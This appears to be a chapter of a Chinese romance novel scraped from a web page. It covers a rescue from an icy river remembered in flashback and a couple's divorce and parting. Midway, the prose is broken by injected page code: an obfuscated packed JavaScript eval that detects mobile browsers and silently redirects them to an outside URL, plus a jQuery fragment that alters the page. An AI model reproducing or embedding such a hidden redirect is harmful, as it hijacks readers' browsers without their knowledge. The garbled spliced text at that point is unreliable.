夜深了，莫道言依然辗转难眠，这也难怪，听了佟语非那番字字锥心的肺腑之言，能睡着就是神仙了，他鬼使神差地又踱步到了她房门前，门没锁，虚掩着一条缝，不知是暑热难耐，还是她早已习惯不锁门了。
从前他夜里加班回来，她总会守在客厅给他开门，起初他以为这是她讨好人的小把戏，后来发现是种生活惯性，她对夜里的动静特别敏感，稍有声响就会紧张万分，即使睡着也会醒来。
记得那个雨夜，缠绵过后已是后半夜，大约是那时的气氛实在很好，他破天荒地留在了她房中，仍保持着相拥的姿势，随后却亲身体会到她被风雨声惊醒了三四回，他当时完全会错了意，以为这是她的暗示，不愿与他亲近，变着法儿赶他走的暗示。
逆反心一起，他将她搂得更紧了：“睡不着？”
“有人敲门。”
“是雨声。”
“又下雨了？”
“嗯。”
安静不足半小时，她又一次挣扎着要起身：“有脚步声。”
“到底睡不睡？”
“真的有人进来了，去看看吧。”
“第一次听雨声？”望着她惊惶的神色，他一把将她拽起，逼着她环顾着四周，“看清楚了，没有人。”接着又按回枕上，声音发沉道，“还是你想说那个人是我？容不得我跟你躺在一张床上？”
他憋着股无名火，想她到底还是困糊涂了，连赶他走的借口都找得很拙劣，后来得知关飞骚扰她的事，才明白那些反常的抗拒，不过对黑夜的本能戒备。
今夜，佟语非睡得很沉，连他走进来，坐在她床头，都没被惊醒，不知从什么时候起，她不再像以前那样踢被子，连睡袋都用不着了，他低头仔细看她，发现她脸颊比前些日子圆润了些。
欣慰之余，他想起了第一次见她的场景。
多亏孟如卿提醒，那段模糊的记忆才渐渐拼凑起来。
他和佟语非真正的初遇，是在他大二上半学期快要结束的那个冬天，他在一位老教授那儿看到了几本绝版哲学书，用爷爷送的老怀表作交换，转手送给了姑姑。
从姑姑家离开回老宅，路过揽星河，他听见有几人喊：“有人落水了！”
那天他穿了套新做的休闲服，是姑姑送他的，几天前奶奶过生日，他穿了件墨绿色的夹克，姑姑盯着他的背影，恍惚间像是看见了前夫，竟失控用剪刀划破了他的衣服，尽管没有伤到他，却吓到了不少人。
姑姑很愧疚，花钱给他做了这套更贵的，替他整理衣领时还叹道：“也就背影像，论长相，他还是输了。”
那晚岸边围满了人，他本不想掺和，一来有人正准备下水，不缺他一个，二来怕弄坏新衣服，回头姑姑知道了又要发疯，但河面结了薄冰，下水救人的几位跳下去没扑腾两下就被冻得体力不支，围观群众又多是老人，于是有人眼巴巴地瞅着他道：“小伙子，会游泳吗？下去帮帮忙呀！”
他迅速脱下外套，纵身跃入冰河。
佟语非被他捞上来时已经嘴唇发青昏死过去，他照着书上看过的方法，捏住她的鼻子，俯身给她做人工呼吸，刚才还夸他勇敢的大妈立刻变了脸色：“哎哟！救人归救人，当众耍流氓可不行！”
他头也不抬，用了最懒的借口，试图堵住众人的嘴：“她是我对象，吵架跳河的。”
人群顿时炸了锅。
“别说对象了，夫妻也不能这么没规矩！”
“这丫头瘦得跟豆芽菜似的，成年了没？别是拐来的吧？”
有位大爷伸手就要拽人：“光亲嘴有什么用，倒背着控水才行。”
“别动她！”
他一把挡开，接着不顾旁人的目光，继续给她做人工呼吸，直到佟语非苍白的唇有了血色，终于呛出几口水，呼吸渐渐平稳，他才用外套裹住她的身子，将人抱起，离开了现场。他原本没想带她回家，但问了几次住址，只得到她几声模糊的呓语，夜色渐深，两人衣衫尽湿，容不得他过多思考。
第二天在老宅，他在香樟树下看《傅雷家书》，书是陈如潮硬塞给他的，那时候他和父亲关系正僵，陈如潮想让他从字里行间体会父爱的深沉，可他并不羡慕傅家父子的感情，他和莫长林之间的矛盾根源从来不是爱，而是两代人观念的鸿沟，以及父亲试图用父权消弭这种差异的执念。不过书里那些被时代洪流冲得七零八落的人生，倒是给了他另一个角度的思考，有幸活在新世道里，总得做点像样的事业，才不算白活。
读书的间隙，他察觉门口有道目光，那个他捡回来的姑娘正悄悄打量他，被他回望时又慌忙别开眼，他不是很喜欢躲闪的目光，与这样的人相处总是很费神，不过昨日抱起她时，裹着浸水的棉衣，分量也轻得惊人，此刻她瘦削的身形衬得眼睛愈发的大，让他想起姑姑家那只年幼的橘猫，带着几分狡黠的灵动。
他回屋收拾返校的行李时，她追到房门口，手里拿着他那件墨绿色的夹克和两张破损的奖状，奖状是他两次获得第二名时拿的，原本钉在墙上，后来钉子脱落，他随手扔了。
她将东西递过来：“保姆阿姨说这些都是你的。”
他展开一看，夹克上被刀子划破的地方，被她用黄色的枫叶图案缝补得浑然一体，几乎看不出原先的破损，奖状也用胶带粘得平整服帖，没有一点皱褶，她的手倒是巧。
那件夹克是姑姑的心魔，他不会再穿，至于第二名的奖状，除了记录某个时刻，没任何用处，他随口说道：“衣服你要的话，可以拿去送人，至于那两张废纸，扔了吧。”
衣服她不便处理，但奖状还是放在了他门口：“留着吧，这些是你的骄傲印记。”
“第二名有什么可骄傲的？”
“它们不只是奖状，也是你那段岁月的见证，第一是你，第二也是你，人不能只留下光鲜的部分，完整的，才是最好的，何况交大的第二名，是多少人拼尽一生都达不到的高度。”她停顿了一下，忽然问，“你叫什么名字？”
“莫道言。”
“沉默似金的意思吗？”
“这要问取名字的人。”
“我叫佟语非。”她身上套着孟如卿的淡绿绸袄，宽大的衣裳衬得她像个偷穿大人衣服的孩子，她个子高挑，裤脚明显短了一截，露出一段纤细的脚踝，白得晃眼，她自己显然也察觉了，正不自在地扯着裤脚，试图遮掩，“我昨晚掉河里了，是你妈妈救了我。”
他没有多做解释，只是淡淡接话：“多吃饭，长胖一点儿，再落水了，或许就能自己浮起来。”
“你妈妈喜欢吃什么？”
“你多高？”
两人几乎同时开口。
她抿嘴笑了笑，示意他先说。
“她喜欢吃的不多，不爱吃的倒不少，别费心了。”他说着走到门口，伸手将她轻轻拉到跟前，她一时没反应过来，脚步顿了顿，一只脚还没站稳，头已经先撞进他胸口，额头正磕在衬衣扣子上。
他低声问：“撞疼了？”
她摇摇头，还是第一次和一个陌生男生离得这么近，心跳不由得加快，抬头不是，低头也不是，只含糊地应了一声：“你……”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350847|175458||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“站好了，别乱动！”他的手轻按在她发顶，掌心在她头顶与自己的下巴之间比了比，随即确认，“嗯，你跟二遥差不多高。”
离家返校前，他吩咐林姨为她添几身合体的衣服，并报上了尺寸，每日饭菜也多备些荤腥，寻常人获救后早就归心似箭，她却只字不提家里的事，他猜这姑娘必有不欲人知的遭遇，却也无意深究，萍水相逢的救助，本就不该涉入太深。
关乎他人命运的事，稍有不慎，就会招来诸多麻烦。
但因为母亲，他们的命运还是悄然编织在了一起，这对她来说不知是福是祸，而无论过去如何，如今都已不是她想要的了。
凌晨五点，天光未明，莫道言回到书房，连夜重拟了一份离婚协议，托乔卓成的表哥加急审核，赶在八点前签了字和按了手印，又带佟语非去火车站退了原定的车票，改买下午班次。
一切安排就绪后，两人一起先后去了街道办和民政局。
调解员们照例劝和，语气温和却公式化，莫道言懒得迂回，直截了当地表明两人人生规划不同，他日后工作重心在国外，迟早要移民定居另娶他人，佟语非等了他六年都没留住，何必再耗下去。
话说得干脆，越显出他的薄情，街道办的大姐听了，立刻把佟语非拉到角落，声音故意扬高：“妹妹，新时代了，咱不兴守活寡，扔个包子喂狗还能听两声叫唤呢，男人心不在这儿，再好也是摆设，趁早离了干净！”
在民政局，他的说辞如出一辙，佟语非不想别人误会他，想分担部分责任，刚提起叶以默，就被他打断：“离婚与否都与叶以默无关，”他压低声音道，“你要非把他扯进来，这婚我就不离了。”
她只得作罢。
那边调解员的眼神已将他钉在当代陈世美的耻辱柱上，其实工会调解早是一年前的旧事，这场离婚拖到今日，在旁人眼里不过是炒冷饭，虽然当天没领到离婚证，但等一年多后他回国，这段婚姻的句号终能画上，离婚手续会顺利得多。
这段婚姻始于谎言，终于另一个谎言，像一场精心设计的时间闭环实验。
走出民政局时，佟语非伸了个懒腰，嘴角扬起，笑容在梨涡离漾开，笑得比考上记者那天还要灿烂。
他揶揄道：“好歹是个老演员，终场谢幕都不演一下？”
她站在斑驳的树影下，神色中带着前所未有的释然：“你又不喜欢看戏。”
“真的一点都不留恋？”他不死心地追问。
她望着马路对面的公交站台，随时准备登上开往报社的车，跟同事们汇合，他们为了等她，也买了新车票：“你当年出国，是因为讨厌那个家吗？”她反问道，“人做选择，不是因为别的选项不好，而是眼前的路，更值得走。”
“别打哑谜。”他盯着她的侧脸问，“就直说，对我还有没有一点点不舍？”
“身体算吗？”她带着玩味的笑，眼神却清澈见底，“莫道言，你的好无须我来证明，你最有数。”
她新买的是下午三点的车票，完全来得及送他，但既然离婚已成定局，再演依依惜别就是难为彼此，她没有表示，他也没再提。几分钟后，她要乘坐的公交车进站，他执意送她过马路，看着她上车。
“快去火车站吧，不然来不及了。”她在窗边坐下，高马尾被风吹起几缕发丝，她拢着头发，朝他挥手，“一路平安。”
他笑着点头：“我记住了。”
“记住什么？”
公交车缓缓启动，直到他的身影渐渐被人潮淹没，她也没听清他究竟记住了什么。